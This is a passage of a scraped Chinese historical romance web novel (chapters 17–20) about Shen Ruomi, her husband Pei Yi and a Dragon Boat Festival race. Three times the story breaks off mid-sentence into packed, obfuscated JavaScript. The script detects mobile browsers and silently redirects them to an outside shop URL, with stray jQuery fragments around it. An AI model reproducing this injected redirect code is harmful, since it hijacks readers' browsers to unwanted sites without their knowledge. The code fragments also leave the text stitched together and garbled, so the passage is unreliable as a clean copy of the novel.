原本一切倒是岁月静好,不料菱姐儿忽然哭了起来,起先还是嘤嘤呜呜,后面就变成了嚎啕大哭。 沈若宓连忙撂下手中的针线跑出去,却见裴翊正无奈地看着她。 他怀中的菱姐儿满脸通红,见到沈若宓宛如见到救星一般,口中不住喊娘。 在靠近裴翊的时候,沈若宓闻到了一股古怪的味道。 将女儿接到怀里之后,一看她的小屁股,裤子上果然是一片濡湿的水渍。 这丫头,在裴翊怀里尿了…… “没事儿,爹爹没怪你。”沈若宓也是又无奈又好笑,摸着小丫头的脑袋安慰道。 待二人都换好衣服,沈若宓本以为裴翊会因这突如其来的变故懊恼,思忖着要不要替女儿和他道个歉,毕竟他一向爱干净,谁想他竟又是一把抱起了地上的菱姐儿,揉了揉女儿肉乎乎的小脸。 “不哭鼻子了?” 菱姐儿不好意思地捂住自己的小脸嘿嘿笑。 …… “她今日吃多了甜酪,想是适才没憋住,才尿在了大爷身上。”沈若宓替菱姐儿解释道。 裴翊说:“是我一直抱着她,她没机会下来如厕。不过菱儿尚在长牙的年纪,还是少吃些甜的为好,莫因贪吃龋坏了牙齿。” 沈若宓心想就今天给她吃了一小碗,就尿你身上了。 夫妻两人一时无话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351770|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >更漏声一点一滴,时间也一分一秒的过去。沈若宓不清楚裴翊这么晚了还不回去是想干什么。 起先她还颇有耐性,等他开口或离开。 最近几日睡下的都挺早,不多时她便实在有些困顿了,眼皮子忍不住上下打架的时候,他终于开了口。 “近来之事甚多,委屈你了,我库房里还有些蜀锦和妆花纱让阿松抱了过来,就收在厢房里,无论做裙子或是上衣,随你心意,但莫要再让旁人借走了,也不必再客气还给我。” 裴翊说起前半句的时候,沈若宓还有些诧异,怎么不逢年过节的给她送蜀锦和妆花纱做什么? 说完后半句的时候,她明白了过来:裴翊知道了詹茗薇也借她浮光锦的事情。 她心底没什么起伏,抿了抿尚且苍白的唇瓣,面上却柔应了声多谢大爷。 裴翊见她此状,沉默片刻,忽然问:“夫人,自嫁我之后,你可曾怨过我?” 沈若宓一愣。 她下意识地看向裴翊,裴翊也在看她。 他那双黝黑的双眸静静地凝视着她,无声无息,宛如无波古井,却又仿若洞察世事般明朗,叫她心中没来由地一突。 “大爷想听实话?” “实话。” 沈若宓垂下眼:“自然怨过。不瞒大爷说,我自幼长在临安,从未踏足过京都城,嫁入裴家之后,管家理事,人情往来,礼仪规矩,万般束缚,究竟不如未出阁时畅快自由。” “当初陛下亲口赐婚,裴沈两家欲结两姓之好,却逼迫大爷与我盲婚哑嫁,我知大爷心中亦是万分不愿。只是既嫁从夫,我余生能依靠的也唯有大爷与自己的孩子。既来之,则安之,余生若能常伴至亲之人左右,便已心满意足。” “好,我亦是如此。”裴翊毫不犹豫应道。 临走前,他又说道:“我往日事务繁多,多有疏漏,你若有所需,与我直接开口便是,不必客气与委屈自己。” …… 回到自己的房中,裴翊坐定,吐出一口气,方觉身上几日的沉重消散了大半。 他想起适才灯下沈若宓坐在床上披发与他轻声说话的模样,恬淡的容颜,尖俏的下巴上那一抹苍白的唇色,仿佛与新婚之夜那个容色娇艳的她重合在了一处。 她说,往后的日子里只想常伴他与孩子左右,想来也是愿意同他好好过日子的。 他知道自己实在无法全然信任于她,只要沈皇后还活着,两人间的隔阂便始终难以消除。 但不论如何,她也只是个无辜的女子罢了。 她刚有孕时,便留她一人独自面对裴家众人的刁难。太夫人,长公主,三房,陈翰夫妇……哪一个都不是省油的灯。 倘若那时陈翰包藏祸心欺辱于她,她一个弱女子又有何办法自保?便如同郭氏,做了砧板上的嫩肉,唯有任人宰割的份。 只是那时候,他一心建功立业,无暇抽身顾及于她,这是他的疏漏与亏欠。 至于她与子衡之间是否有私情,除了陈翰那张嘴,也无从证明两人之间是否有不清白,他不能让沈氏成为第二个红钏。 裴翊自问自己是个拿得起放得下的男人,谁不曾有个过去?过去的事情,便让它过去了,他可以权做不知。 何况他也相信,他的兄弟绝不会在大事上不会犯糊涂,做出对不起他之事。 思量完毕,他叫来阿松吩咐。 “把花房收拾出来,安上护栏着专人看着,日后莫再把猫狗畜生的放进来作乱。” 18.第 18 章 五月初一,这夜裴翊宿在芳菲馆。 “四日后是端午,届时在城郊金鱼池会举行龙舟赛,你可想去看看散心?”他问沈若宓 那么多不认识的人…… 沈若宓说道:“倘若是一定要去,不能缺席的话,我自然听从大爷吩咐与安排。” 这话的意思便是不想去了。 裴翊只好说:“也没什么必须要去不去的,看你的心意。” 沈若宓试探着说:“端午节那日我想去前门外大街逛一逛,大爷可能答应?” 裴翊沉默了片刻。 “能是能,不过届时二婶、二弟妹、三弟妹和四弟妹都去,金鱼池很热闹。” 白天,裴少廉还因为这事特意来找裴翊请假,因为端午节那天轮到他在衙内值班,但他不想去,潘氏非要他陪着去看赛龙舟。 裴少廉想着,大哥裴翊和他那顶头上司关系不错,求他去说项。 裴翊看着沈若宓披散在背后的发,想了想又补充道:“兴许陛下和皇后娘娘也会去。” 沈若宓更加不想去了。 那样盛大的场面,热闹是热闹,却没有什么自由可言,需得察言观色、谨言慎行,真不如不去。 她敷衍道:“上回与天然居的蔡掌柜说好了端午去他店中商议扩建之事,天然居是我的陪嫁铺子,蔡掌柜又是沈家的老仆,若是不去怕有些失礼。” 外面树上的老鸹扑棱棱地叫了两声,那沙哑的声音听着有几分凄凉。 “也好,”裴翊说道:“天色不早,咱们安置了吧。” 什么安置? 他说完这句话后,原本懒懒散散的沈若宓才突然惊醒一般反应过来。 她险些忘了今日是初一,裴翊今夜要宿在芳菲馆。 十五不是刚过去,这才没几天又是初一了?日子怎么过得这么快呢! 熄灯后,沈若宓睡在里侧,裴翊睡在外侧,每当他宿在她房里的时候,沈若宓都喜欢面对着墙壁睡。 譬如现在。伴随着窸窣的声响,男人那只手缓缓地落在了她柔软的小臂上。 一线月光透过纱窗微微射入屋内,帐中弥漫开似有若无的暧昧,女人的手臂白,细,软,还散发女儿家幽幽淡淡的蔷薇花香。 而男人的手掌宽阔指节粗大,略显粗糙藜黑,轻而易举地便能将她那条细细的臂拢攥一处。 他慢而耐心地摩挲,手掌心的温度犹如火炉一般烧灼着她裸.露在锦被以外的肌肤,指腹的茧在滑腻的肌肤上带起阵阵异样酥麻的触感。 沈若宓咳嗽了几声,“大爷,我还没好利索,你离我远些吧,莫将病气传给了你才是。” 她诚恳地嘱托。 裴翊不得不收回了手。 一夜清净。 …… 五月初五,端午节。 一大早,素娘就在门口左右摆了两大束缚好的艾草。 菱姐儿现在偶尔能加餐吃一些粥羹之类的辅食,一早奶娘给她喂了奶,看见自家娘在品尝蜜粽,馋得她直勾勾地瞅着沈若宓的盘中餐。 那蜜粽是皇后娘娘前个儿从宫里赐下的,有甜粽和咸粽两类。 沈若宓自然是更喜欢吃甜粽。 这宫里的蜜粽里面的装的材料也更精致丰富,有红枣、红豆和各式的果仁、蜜饯,咬一口甜糯可口,还带着淡淡的牛乳香气。 据说这艾叶用牛乳浸泡过后再包制,粽子会带有牛乳的醇香,吃起来也回味无穷,叫人一早就心情极好。 至于菱姐儿,这丫头吃不了糯米,牙又没长几个,沈若宓只挑了个去核的香甜糜软的蜜枣放她口中,就把这丫头欢喜得成了扭股儿糖。 刚用完早膳,梅氏就领着新妇曹氏和女儿裴韶瑛过来了。 “你可真是殷纣王的棺材老古板儿!大节的日子一个人去个菜馆子有甚意思,还是同我们一道去金鱼池看赛龙舟吧,今个儿金鱼池热闹非凡,可是有龙舟比赛的!”梅氏笑着道。 沈若宓还要推辞,梅氏凑到她耳朵边儿压低声音道:“你这傻丫头,平日里咱们这些妇人能见几个男人,那龙舟赛上可多的是身手矫健模样俊俏的郎君,这般好的机会岂能不去一饱眼福!” 沈若宓瞪大了双眼。 再看曹氏和裴韶瑛也都是一副脸蛋飘红摩拳擦掌的样子,心想还有这等好事吗?不由得也有些心动了。 梅氏说罢,裴韶瑛和曹氏又将她团团围住,嫂嫂婶婶一通甜叫,沈若宓盛情难却,只好道:“去去去,我的好姐姐妹妹们,我去还不成!” …… 出门的时候正巧碰上盛装打扮的崔氏和潘宝珍。 崔氏见到沈若宓一行倒是很高兴,都客气地寒暄了几句。 其实崔氏的院子晴雪轩离沈若宓的芳菲馆倒是近,只是她性格孤僻些,素日里大门不出二门不迈,喜欢独来独往,多是坐在自己的院中读书弹琴。 沈若宓安静地听着梅氏与崔氏寒暄,忽察觉到有人在看,抬头一瞥,潘宝珍正在用探究的目光上下打量她。 这感觉让她不适。 见她看过来,潘宝珍也就翘着唇微微笑了一下,没再言语什么。 几人上了马车,沈若宓同梅氏坐一辆,曹氏与裴韶瑛坐一辆,沈若宓余光瞥着,崔氏似乎与潘宝珍坐了一辆。 其他人她便没再去注意了。 且说裴翊一早来了芳菲馆,丫鬟却说大奶奶跟着梅二太太、四奶奶和二小姐出门去了。 裴翊出门去寻,正巧看着沈若宓和梅氏有说有笑地上了一辆翠幄清油车。 “大哥,你不是今日要去大理寺轮值吗,怎么还没走?” 裴少廉骑着马过来道。 说着,裴子衡和裴子文也从身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355802|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打马慢悠悠地过来。 “大哥怎么又轮值到休沐日,还叫不叫人歇一歇了?我昨个儿还听阿曹说大嫂要去前门外大街玩耍,大哥何不陪着一起过去逛逛?”裴子文好奇地道。 这几人来得都晚,只有裴子衡眼尖看见沈若宓和梅氏联袂上了马车。 他朝裴翊瞥去,果见裴翊正沉了脸盯着那辆载了沈若宓和梅氏的马车。 “大哥,若是大理寺没有急事,不若同我们一道去金鱼池赛龙舟吧!”裴子衡忽然道。 裴少廉瞪着裴子衡道:“二哥,大哥岂是那种玩忽职守之人,你莫要耽误大哥办差!” 裴翊也看向裴子衡,只见他那欠揍的二弟裴子衡正含笑坐于马上,见他望过来,还冲他歪着头挑了挑眉,绯衣墨发,峨冠博带,一副玉树临风,风流不羁的模样。 有时候,裴子衡那颗七巧玲珑心叫裴翊实在有些厌烦。 裴子文和裴少廉齐声喊:“大哥!” “办差不急,我再找人去替也不迟。”裴翊冷声道。 他对阿松吩咐几句,旋即猛喝一声,纵马朝着队伍追去。 …… 金鱼池位于京都城南郊,前朝时本是皇家养鱼园林,平民百姓禁止入内,本朝自立国后,皇亲张全奉命在此敕造新园,命三千民工挖金鱼池,更引三里河水入内,将整个金鱼池扩大了三倍之大。 园内设有船桥长廊、楼台亭阁,移栽名贵花种,池边载满依依绿柳与烂漫夏花,俨然一处亮丽景观。 平日里百姓寻常自是不得入内,但逢年过节时帝王会下令开放园林,接纳往来游客,游客可在其中饮酒作乐,不分贵贱,称之为‘游园日’,是以常会出现贵族与贫民同游的奇异之景。 今日端午,正是游园日。 金鱼池中张灯结彩,早有身着铠甲的卫士清道,路上不见半个平民游客,梅氏悄悄问沈若宓,“咦,莫非今年陛下和皇后娘娘要亲临金鱼池?” 沈若宓点了点头,看来是如此。 她倒不是提前知道,而是帝后的行踪向来是保密的大事,恐怕嘉善长公主也都是今日才知晓。 奇怪的是,她本以为深居简出的长公主今日不会出门呢。 裴家早在金鱼池边搭建了一处彩棚,男女分座,沈若宓坐下之后才发现,不光长公主安坐上首,裴翊居然也在! “……天然居是我的陪嫁铺子,蔡掌柜又是沈家的老仆,若是不去怕有些失礼。” 昨夜她“诚恳”的请求仿佛又在耳边回荡了起来。 四目相对,裴翊狭长的双目眯了眯。 沈若宓愣了一下。 随即,她装作没看见裴翊眼中的冷意,冲他嫣然一笑。 仿佛丝毫没有意识到自己今日的言而无信、出尔反尔,便迅速扭过头了去投向金鱼池旁严阵以待的龙舟与年轻健壮的郎君们。 19.第 19 章 端午的龙舟节比赛历来是三年一次,据梅氏介绍,比赛共分为三场。 初场比赛的十三队成员全部是来自全国各地年纪在三十岁以下的官员,第一场比赛结束后,将从这些佼佼者中再继续选拔出六队的成员进入到下一场。 以此类推,最后一场比赛角逐出魁首。 而获胜的魁首不仅可以获得陛下亲赐的蜜粽,若能对答如流,得陛下赏识,说不准从今往后还能平步青云,官运亨通。 因而许多即将到中年的地方官员就等着这一次的机会能调回京都城。 放眼望去,只见那金鱼池上赫然游荡着十三艘装饰华丽的龙舟,每一艘龙舟上都张贴着全国两京十一个省的条幅。 比赛巳时正式开始,眼下距离比赛开始还有两刻钟的时间,第一队的十名成员的已在岸边不停地拉伸身体,蓄势待发,跃跃欲试。 随着一声尖细嗓音的高喝,“陛下皇后娘娘驾到——” 百官及家眷俱起身迎接帝后。 齐声震天的“陛下万岁,皇后娘娘千岁”声中,沈若宓低着头随梅氏和曹氏屈身行礼。 礼毕,只听兴启帝用低沉淳厚的笑声道:“众爱卿平身吧,此间不在宫中,大家不必拘束。” 沈若宓起身时朝着北面正中央帝后的主位瞟去,那龙章凤姿,身着明黄龙袍的男子自然就是兴启帝。 当今太后郭氏在前朝乃是厚德帝最为宠爱的贵妃,生有二子一女,兴启帝、定王永慧及嘉善长公主。 传闻兴启帝三岁能诗,七岁能武,三十二岁临危受命被册封为太子,三十三岁登基为帝,他在位的这十三年间,任用贤臣,革除弊政,天下海晏河清。 虽已是知命之年,兴启帝周身不怒自威的气势与帝王风采却不输于那金鱼池上任何一个年轻孔武的青年。 兴启帝旁边那高挑美艳,身着的大衫霞帔的女子便是沈若宓的姑姑沈皇后了。 这样一个能令帝王为她虚设六宫的女人,你可以想见她的容貌是如何的国色天香,沉鱼落雁。 但对于沈皇后而言,从商户女和以二嫁之身嫁入韩王府为妾到冠宠六宫的皇后娘娘,美貌才是她最不值一提的武器。 光是站在那里她便已是光彩夺目得令人不敢直视了,仿佛多看一眼都会自惭形愧。 曹氏今日是第一次见到沈皇后。 待她从惊艳呆愣中回过神后,一面惊叹沈皇后的绝世容光,一面忍不住瞅了一眼身边的沈若宓,随后得出了一个确凿无比的结论。 大嫂和皇后娘娘绝对是亲姑侄,真像!这说是亲母女也不为过吧? 到巳时整,比赛正式开始。 不多时,沈皇后身边的姚姑姑来请几个侄女到沈皇后身边小坐。 沈若宓到了一看,继母耿氏身后跟着沈锦容和沈静宛,几人一道见过兴启帝,寒暄几句,随后落坐到沈皇后身边去。 当初沈皇后欲促成裴沈二家联姻之时,在沈家族中遴选适龄的女儿,挑来挑去只有嫡出的沈锦容和庶出的沈静宛最为拔尖儿。 奈何这两人均有美中不足之处。 沈锦容毕竟是耿氏前夫的女儿,身体里没流着沈家的血,且最致命的一点,她不够聪明也不够漂亮,生得如她母亲一般小家碧玉,中人之姿。 若配个寻常的功勋子弟便罢了,偏偏她看中的男子,是裴家这一代最有出息且相貌堂堂的宗子裴翊。 沈静宛倒是才貌双全,既继承了她父亲浓眉俊目,又兼了她母亲纪姨娘的精致美艳,还能吟几句诗书,可惜两年前还未到婚配的年纪,才十二岁,要出嫁至少得再等两年。 那二十出头,正是血气方刚年纪的裴翊,能喜欢一个才十二岁还没长成的小姑娘? 沈皇后忽然出声。 “宓儿。” “皇后娘娘。”沈若宓回过神来,轻声应道。 沈皇后关切道:“许久不见,你倒是清减了不少。” 沈若宓回:“许是天热苦夏,没什么大碍,多谢娘娘挂念。” 两人又聊了一回,沈锦容的母亲耿氏就在一侧,提及沈若宓这婚事,言语中颇有艳羡之意。 沈皇后含笑道:“今日来了不少年轻官员,倒是不错的婚配对象,大家到时都帮容姐儿和宛姐儿都掌掌眼。” 沈锦容听了立马看着沈若宓道:“那我得寻一个如姐夫那般英俊能干的男子,皇后姑姑可不能厚此薄彼!” “净浑说些孩子气的话,我何曾厚此薄彼过?前段日子的春闱倒是选出了几个青年才俊,新晋的探花郎更是才貌双全,你若情愿,我与你母亲便给你撮合。” 她们姑侄几个有说有笑的,沈若宓这个半路插进来的侄女也插不进去话,只好认真看比赛。 半个时辰后,第一场结束,胜出的六队进入中场赛,第二场比赛在半个时辰后的午时举行。 赛程激烈,在第一场的比赛结束后,各队均有人在赛中受伤或落水,每一队都会有五个替补,替补队员会上前替换受伤的队员。 不巧的是,京都一队在比赛中有三人与隔壁山东队发生了剐蹭,有两人落水受伤被抬了下去,一人到达终点后呕吐不止,另有三人力竭不能继续参赛。 也就是说,京都队还差一个替补的队员。 而其中那名呕吐不止的参赛的队员不是旁人,正是裴翊自幼相识的玩伴崔伯修。 崔伯修本是一文臣,非要参赛,虽勉强进入中场赛,但他身体的素质已然不能支撑他继续比赛下去。 “孝均老弟,这次恐怕又要你救我一回了。”崔伯修被左右两个小厮扶着,无奈又苦笑着地对他道。 他知道裴翊虽和他一样文臣,但人家从小就习武,体格儿结实又强壮,不然也不会和兴启帝主动请缨去蜀地平叛。 裴翊没说什么,拍拍他的肩,拿过他身上的字牌便走了。 “咦,那不是姐夫嘛!” 沈锦容忽然兴奋地指着金鱼池岸边的一艘龙舟道。 沈若宓顺着她手指的方向看过去。 不知是不是她的错觉,她看到裴翊似乎朝她看了过来。 再次四目相对。只是他目光驻足的时间太短,叫她疑心他只是随意看看,无意瞥见了她而已。 烈日当空,随着比赛时间的临近,儿郎们大部分都褪下了上衣,只穿着一条束腿的黑色长裤。 平素都是熟知水性的健将,大部分还在军营里任职,这些男人的无一不是身材修长,蜂腰猿臂螳螂腿,看得在场的未出阁的小娘子们都有些脸红心跳。 偶尔有那么一两个矜持的不肯在大庭广众之下脱衣服,沈若宓猜多半是文臣。 譬如裴翊,虽然他只脱了外袍,将上半身的单衣扎进了下身的裤子里,但木桨扬起的水花浇湿了他的上半身,后背那墨青色的龙身鸟首兽若隐若现。 若细细端详好似都能看清那濡湿的衣衫下紧紧贴着的块垒分明的肌肉,宽阔的肩膀与比她大腿还要粗壮的手臂仿佛蕴藏着无尽的爆发力,每划动一下那薄薄的衣衫都紧紧绷起,几欲要将这单薄的衣衫撑爆,似乎比直接脱去衣服更令人遐想,看得沈锦容和沈静宛脸红心跳、目不转睛。 周围人都在呐喊助威,那池上的健儿一个个更是铆足了劲儿地摇臂划船,甚至那摆动的速度过快,都有些叫人眼花缭乱。 沈若宓却觉意兴阑珊,她无所事事地四下看去,眼神定格在一处,瞳孔骤然一缩。 “姑姑,你看姐夫划得多好!我本以为他断案如神,不想竟是个全挂子,龙舟划得也是顶顶好……” “娘娘,许是太阳毒辣,宓儿觉得有些头疼,可否下去休息一会儿?” 沈锦容还在絮叨,忽然沈若宓的声音插了进来。 沈皇后看向沈若宓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359262|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚刚还如花的娇靥上,此刻果真是毫无血色。 辞别了沈皇后,还未走远,沈若宓便听到沈锦容在背后抱怨自己的扫兴与无礼。 而她此刻却根本无暇顾及。 逐渐地,耳边的一切声音都似乎远去了,她怔怔地走着,每一步都犹如踩在棉花上般虚浮无力。 金鱼池中设有不少休息用的亭台楼阁,姚姑姑将她领至一处幽静的小楼中,见她脸色依旧难看,便道要替她去请刘太医过来。 沈若宓强撑着从脸上挤出一丝微笑,婉拒了姚姑姑。 “无事,我已让素娘带了些藿香正气散,待会儿便服下,在这里躺会儿,若有需要,再打发素娘去请刘太医,姑姑以为可好?” 既然沈若宓坚持,姚姑姑便离开复命去了。 姚姑姑走后,素娘才走上前小心翼翼地问:“奶奶,你这是怎么了,我去把藿香正气散拿过来喂你服下?” “不必,”沈若宓闭目道:“素娘,我在床上歇会儿便好,你先出去吧。” 她的声音听着极是无力与虚弱,面上的表情却又好似是平静的。 素娘也走了。 须臾,暖阁中便退了干净,只剩了沈若宓一个。 沈若宓将身体慢慢地蜷缩在一处,整张脸都埋在膝盖里,抱住自己,死死地压住自己的眼皮—— 她在心中不停地告诉自己不能哭,尽管泪水早已如决堤般从眼眶中奔涌挤出,她依旧死守着自己的眼睛不肯睁开,再忍着剧痛将指甲掐进自己的掌心,因为倘若哭得妆花眼肿也不过是徒惹旁人看自己的笑话。 三年。 竟是整整三年了…… 从没想到,还会有与他重逢的那一日。 不,她早就该知道,似他那般的人中龙凤,怎么可能一辈子屈居于人下,做个临安县的小小秀才? 只是,曾经她无数次梦想着成为进士夫人与他白首到老,听他在自己的耳旁用温柔声线呢喃吟诗,看他对自己展露唇畔淡而温暖的笑意,如今再重逢时,她却早已无颜去面对他,面对自己当初的不辞而别。 …… 只能强迫自己不去想念他,否则越是想他,泪水越是止不住。 为了不在众人面前丢脸,沈若宓伤感了片刻便立即吩咐素娘去拿来了煮熟的鸡子在眼皮上滚着。 不知过了多久,眼皮子越来越重,迷迷糊糊中,好像有人在抚摸她的脸颊。 她想睁眼,却怎么也睁不开。 终于,她费力睁开了眼,有些口渴。 她舔舔干涩的唇,先唤了几声素娘,没人回应她,屋里却似乎有水声。 沈若宓以为是素娘,她浑身都懒洋洋的,鞋子也懒得穿,赤着脚向外走去,走到外间的桌上给自己倒了一大碗茶水。 猛灌了几口,脑中逐渐恢复清明,她便开始思忖着待会儿该怎样寻个理由回家,又觉躲着总不是长久之计,不由得重重叹了口气。 若是日后阿简哥哥做了京官,难不成自己也要一直回避着他吗? 愈想心里愈发乱,以至于她没留意到屋里早就多了一个人,转身走了两步,忽然觉得余光中似乎多了个人。 沈若宓愣住,抬眼扭头一看,眼中只见那健硕结实的男人身体朝她快步走来,吓得她尖叫一声。 刚想呼救,那男人却三步并作两步就闪到她的眼前,将她捂住嘴往屋里抱去。 一切发生的都太过突然,她还没来得及抬头去看男人的脸,整个人都被死死得摁在他赤裸坚硬的胸前。 □*□ □*□ □*□ 沈若宓顺势狼狈地滚落到了床上。 四目相对,男人脸色难堪且冰冷地看着她。 沈若宓则惊得瞪大了双眼。 眼前这男人不是别人—— 怎么会是……裴翊?! 20.第 20 章 自来南北龙舟比赛,南方的龙舟队总要比北方更胜一筹,中场比赛,毫无悬念的是又是广州队夺魁,泉州队第二,京都队屈居第三。 中场结束,休息时间正好是午膳时间,兴启帝给众人都赐了好酒好菜,君臣共享宴酣之乐。 裴翊的目光在人群中逡巡着,却始终没有找到沈若宓的身影。 “奶奶去哪了,怎不在皇后娘娘身边?”他一面用巾子擦着汗,一面漫不经心地问。 阿松“啊”了一声,朝着沈皇后的身边看去。 “我看您上场的时候奶奶还在呢!”他挠着头道。 裴翊慢慢皱起了眉。 就这么没意思,看到中途便离开了? 他面无表情地把巾子丢给阿松,扭头看见姚姑姑朝他走了过来。 …… 按着姚姑姑的指示,裴翊来到了沈若宓暂憩的暖阁。 他推门走进内室,只见床上的女子不知何时已安然睡去,满头乌发凌乱地铺在枕上,大约是天气太热,她脱去了外衫,一只袖子没脱干净,还缠在她的雪臂上。 裴翊附身上前,替她褪下那件外衫,她顺势翻身侧躺,上半身只着一件淡粉色的抹胸,随着她的动作登时被挤得愈发丰润起来,将那胸口上绣的一朵圆润牡丹绷得紧紧,一股蔷薇乳香扑面而来…… 裴翊突然想到,在离家之时那两团绵软不过一手堪堪握住,回家之后却俨然飞涨不少,单手也再攥捏不过来。 他适才刚出了一番大力,体内的热血还在翻滚着,见着此情此景身体难免起了反应,故深吸口气,转身去了外室更衣。 不想沈若宓醒后将他当成登徒子,险些叫他“鸡飞蛋打”。 - 屋里的动静引来了屋外看守的素娘和阿松,两人忙敲门,素娘先问:“奶奶,大爷,有事吗?” 直过了好一会儿,素娘和阿松听里头的男主人气息仍有些凌乱地回道:“无事。” 两仆对视一眼,面面相觑。 屋里,此刻的沈若宓既窘迫和尴尬,又有种被人打搅的恼怒。 她不想理会他,只想将他赶紧打发走,继续静静地伤心。 “我不知大爷会进来,我、我以为是哪里来的贼人。”她小声解释。 “耿氏和你的两个妹妹,欺负你了?”裴翊望着她红肿的眼。 沈若宓一怔,摇头。 她这幅失魂落魄的样子,却让裴翊更加坚定了自己的判断。 像沈若宓这类再老实不过的女人,受了欺负偏也不愿告诉任何人,只会偷偷地将委屈打掉牙齿往腹中咽。 譬如太夫人欺负她,她写信向他求救被拦,诚然那信被拦下了,如今他回了家,正是可以为她撑腰的时候,他问她的时候她却又绝口不提。 又譬如现在,他看她分明是在沈皇后身边时受到了沈家二姊妹的欺负,却只敢一个人偷偷地藏起来抹眼泪儿,哭得眼睛都肿了也犟嘴不肯承认。 “你若受了委屈,可以告诉我。”裴翊语气微缓。 “多谢大爷,我没有受委屈!” 沈若宓冲他挤出一丝笑来,想以此证明自己没有委屈。 她这样的回应裴翊听过无数次了。 笑了半响男人依旧面无表情,沈若宓渐渐笑不出来了。 “你不愿对我说受了委屈便罢了,总会有你愿意说的时候,何况。” 裴翊顿了一下,“是皇后娘娘说你身体不适,要我来看你,我不过顺便在外室更衣,却被你当成登徒子磋磨,我可提醒你一句,你若是将它磋磨坏了,日后少不得要守活寡了。” 沈若宓脸一阵红一阵白。 她下意识地瞅向他的裆.部,却被他抓起件衣衫挡住,眼神中投来警告之意。 沈若宓翻着眼白移开目光,心想我还不想看呢。 “那时情势危急,我未来得及看大爷的脸,你又一言不发,难怪我误会,又非故意之举。” 她嘴上辩解着,心中却想若知道是他早该下手更狠才是,最好断子绝孙方能解她心头之恨! 此时沈若宓头发凌乱,脸颊泛红,眼皮微肿,嘴唇微微翘着,颇有一番小女儿的娇憨之气。 裴翊看她那神情便知她定然不服,只是她平素端庄自持,善解人意,极少流露出这般桀骜不驯的女儿娇态,倒叫他有些诧异,本想将这话题作罢了,却又有些想逗一逗弄她。 “你这话的意思,我若因你身体不适输了,同你也无关?”他挑眉问。 “自然与我无关,我只听人说划船用手,又不是……” 听他轻笑了一声,沈若宓闭了嘴。 裴翊问:“好,若我输了,不同夫人计较,可倘若我赢了,夫人你当如何?” “你想如何?”沈若宓狐疑地看着他。 裴翊说:“若京都队在龙舟赛中夺魁,你便要答应我一件事,反之,我便要应允你一件事,如何?” 沈若宓觉得裴翊是痴心妄想,梅氏早跟她说过,自她嫁进裴家以来,每年夺魁的冠军不是广州队便是泉州队等南人,从未有一个北人。 沈若宓对打赌没兴趣,不过所能因此赢裴翊一个承诺,那自然是意外之喜。 午后太阳愈发毒辣,彩棚里面纷纷摆上了冰块,丫鬟们跟在自家主子的后面摇着扇子扇风,沈若宓戴着帏帽遮阳倒也不算违和。 彩棚搭设在金鱼池的正北侧,她与裴翊是东门的甬道进来的,本想装作若无其事回到自己的位置,可是眼睛余光仍是忍不住地向兴启帝的身边扫去。 裴翊就在沈若宓的身边,隔着薄薄的面纱,他发现妻子的眼睛在直直地盯着某一处。 他便顺着她的目光看过去。 帝后的方向。 因殿试放榜的日子临近龙舟赛,因此每一年的龙舟赛兴启帝都会带上今年的新科进士,除了这些新科进士,亲近的臣子、皇亲国戚以及翰林院随侍的士子通常也在其列。 据崔伯修说今年一甲几位年轻的新科进士竟都生得仪表堂堂,尤其是那位名字唤做桓易简的探花郎,不仅引得京中不少官员榜下捉婿,更有兴启帝在殿试结束之后亲口夸赞那桓郎芝兰玉树。 此刻正与身旁的同僚不知闲谈什么,他腰背如松柏一般挺拔,显得鹤立鸡群,倒是好认。 裴翊对于这等肤白文弱的书生并不是很瞧得上眼,不过是女子多为皮囊迷惑罢了,打量了几眼便看向了别处。 这时却另有一人的目光与他对上了。 那青年已脱去了上衣,露出上半身魁梧的肌肉,见裴翊看着他,冲裴翊扬眉一笑。 那是沈若宓的三叔赵国公沈嗣祖之子,羽林卫指挥使沈越。 也是沈若宓的堂弟。 裴翊淡淡地移开了自己的目光。 自娶了沈若宓后,裴沈二家的关系虽有所缓和,逢年过节坐在一处,但私底下也不过是点头之交。 片刻后,两人各自归位。裴翊去了队伍集结处,沈若宓戴上帏帽,重新坐回梅氏身边。 梅氏和曹氏见她回来都分外欢喜,几人一面吃着沈皇后着人送来的冰酪,再寒暄一回闲聊一回,不多时最后一场便正式开始了。 “二婶以为,这次的龙舟赛哪一队能夺魁?”沈若宓仍是不放心地虚心求教。 梅氏不假思索地道:“广州队连战告捷,魁首的势头不可挡,泉州队稳操胜券,京都队嘛……第三已是很好的成绩。” 沈若宓松了口气。 不多时,鼓声阵阵中比赛开始。 沈若宓大体估摸了一下,这条东西的赛道大约有两里地,刚开始三队尚且持平,京都队很快就被广州队与泉州队超越,不过京都队并没有被远远甩在身后,而是以一个不近也不远的距离紧跟在泉州队身后。 “大嫂放心,我觉得大伯那队肯定是魁首!” 